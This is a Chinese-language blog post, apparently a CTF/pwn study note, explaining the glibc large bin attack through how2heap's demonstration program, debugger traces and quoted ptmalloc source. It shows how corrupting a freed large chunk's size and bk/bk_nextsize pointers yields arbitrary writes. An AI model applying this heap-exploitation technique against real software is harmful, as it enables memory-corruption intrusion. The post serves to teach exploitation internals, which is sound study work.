Large Bin Attack

前言:我感觉这种利用有点借力打力的感觉。

通过实例学习 large bin attack 的原理

这里我们拿 how2heap 中的 large bin attack 中的源码来分析,记得看看malloc进行unsortedbin 分配的源码

// 主要漏洞在这里
/*

    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

    [...]

              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;

    [...]

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

    For more details on how large-bins are handled and sorted by ptmalloc,
    please check the Background section in the aforementioned link.

    [...]

 */

// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
                    "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
                    " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
                    " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
                    " the third large chunk during the free()\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
                    " [ %p <--> %p ]\n\n",
            (void *)(p2 - 2), (void *)(p2[0]));

    void* p4 = malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
                    " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
                    ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
                    " [ %p ]\n\n",
            (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
                    " [ %p <--> %p ]\n\n",
            (void *)(p3 - 2), (void *)(p3[0]));

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
                    " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
                    " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
                    " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------

    malloc(0x90);

    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
                    " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}

编译完以后,注意!一定要用 glibc2.25 的 loader,改变 loader 的方法可以看这里:https://www.jianshu.com/p/1a966b62b3d4

pwngdb 走起,开始我们的分析之旅:
直接跳到:void* p4 = malloc(0x90);比how2heap多了个赋值

  7374     void* p4 = malloc(0x90);
   75     fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"

前面的操作我们主要关注对大chunk的malloc与free而不是malloc(0x20),执行到这里我们已经free了两个大chunk:p1(0x320) smallchunk , p2(0x400) largechunk

要注意的是:
p1 的大小是 0x330 < 0x3f0 大小属于 small bin,而 p2 的大小是 0x410 属于 large bin
执行完74行:

   74     void* p4 = malloc(0x90);75     fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"

短短的一个malloc赋值,却蕴含天机:(如果不熟悉了去看点源码)

  • 从 unsorted bin 中拿出最后一个 chunk(p1 属于 small bin 的范围)
  • 把这个 chunk 放入 small bin 中,并标记这个 small bin 有空闲的 chunk
  • 再从 unsorted bin 中拿出最后一个 chunk(p2 属于 large bin 的范围)
  • 把这个 chunk 放入 large bin 中,并标记这个 large bin 有空闲的 chunk
  • 现在 unsorted bin 为空,从 small bin (p1)中分配一个小的 chunk 满足请求 0x90,并把剩下的 chunk(0x330 - 0xa0)放入 unsorted bin 中
    chunk链如下:
                    top: 0x603be0 (size : 0x20420) 
         last_remainder: 0x6030a0 (size : 0x290)    <=========
              unsortbin: 0x6030a0 (size : 0x290)    <=========
           largebin[ 0]: 0x603360 (size : 0x410)
    unsorted bin 中有一个 chunk 大小是 0x330 - 0xa0 = 0x290
    large bin 某一个序列的 bin 中有一个 chunk 大小是 0x410

继续执行完free(p3):

   80     free(p3); //free(0x400)81     fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
   82 

那么现在unsortedbin链中又多了一个chunk,放在第一个:

                  top: 0x603be0 (size : 0x20420) 
       last_remainder: 0x6030a0 (size : 0x290) 
            unsortbin: 0x6037a0 (size : 0x410) <--> 0x6030a0 (size : 0x290)   <=============
         largebin[ 0]: 0x603360 (size : 0x410)

进行对p2 chunk的构造:

    p2[-1] = 0x3f1;  //数组越界,对应size字段
    p2[0] = 0;   //fd
    p2[2] = 0;   //fd_nextsize
    p2[1] = (unsigned long)(&stack_var1 - 2);  //bk
    p2[3] = (unsigned long)(&stack_var2 - 4);  //bk_nextsize

修改 p2(large bin chunk),修改结果如下:

largebins
0x400 [corrupted]
FD: 0x603360> 0x7fffffffddf0> 0x603010 <0x0
BK: 0x603360 <0x0

然后又进行一次malloc(0x90):

   100     malloc(0x90);
   101102     fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
   103 

与第一次 malloc(0x90) 过程类似:

  • 从 unsorted bin 中拿出最后一个 chunk(size = 0x290),放入 small bin 中,标记该序列的 small bin 有空闲 chunk
  • 再从 unsorted bin 中拿出最后一个 chunk(size = 0x410)

重点来了:
由于这次拿的是属于 large bin chunk,进入了 else 分支:

             victim_index = largebin_index (size);  //下标
              bck = bin_at (av, victim_index);  //获取表头
              fwd = bck->fd;  //获取第一个chunk

              /* maintain large bins in sorted order */
              if (fwd != bck)  //检查是否空闲

在插入largebins之前会有3种情况:

  • 没有free chunk
  • 有free chunk 要插入的chunk是最小chunk
  • 有free chunk 要插入的chunk不是最小chunk
    显然我们这里已经有一个恶意修改的large chunk(0x3f1) 了,所以会进行不是最小chunk情况
    这里由于我们修改了原chunk的size为0x3f1,所以会被绕过
                       /*循环寻找size的合适位置*/
                        while ((unsigned long) size < fwd->size)
                          {
                            fwd = fwd->fd_nextsize;   //更新下一个fwd
                            assert ((fwd->size & NON_MAIN_ARENA) == 0);   //属于main_arena
                          }
    进入:
                          {
                              /*其实是一个宏观的双向链表插入操作*/
                            victim->fd_nextsize = fwd;
                            victim->bk_nextsize = fwd->bk_nextsize;  <=======
                            fwd->bk_nextsize = victim;
                            victim->bk_nextsize->fd_nextsize = victim;   <=======
                          }
                        bck = fwd->bk;  //前一个chunk
    这个原本的意思是把从 unsorted bin 中来的 chunk 插入这个序列中,但是这里没有检查合法性。这里存在这一个利用:
    之前做的构造,把 fwd 的 bk_nextsize 指向了另一个地址:
    victim->bk_nextsize = fwd->bk_nextsize
    // then
    victim->bk_nextsize->fd_nextsize = victim;

也就是:

addr2->fd_nextsize = victim;
//等价于
*(addr2+4) = victim;  

所以修改了stack_var2的值。

接着还存着另外一个利用:

bck = fwd->bk;
......
....
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
bck->fd = victim;
// 等价于
(fwd->bk)->fd = victim;
// 等价于
*(addr1+2) = victim;

修改了stack_var1的值。

至此利用完毕。由于最后分配的还是 small bin 中的 chunk,与 large bin 中的 chunk 也无关了。

总结 large bin attack 的利用方法

how2heap 中也说了,large bin attack 是未来更深入的利用。现在我们来总结一下利用的条件:

  • 可以修改一个 large bin chunk 的 data
  • 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面

但是largebins的某个范围链表也被破坏了


  转载请注明: Squarer Large Bin Attack

 上一篇
2019--HuXaing--note 2019--HuXaing--note
checksec[*] '/home/matrix/PWN/note' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary fo
2020-10-25
下一篇 
pwn-libc pwn-libc
一般题目给出的libc文件由于缺失ld文件我们无法将其与程序链接,强行链接一般都会报错 题目给出的libc一般用来查函数或者字符串偏移,one_gadget。还有一个很重要的就是用LINUX的strings命令查看libc文件 的glibc
2020-10-25
  目录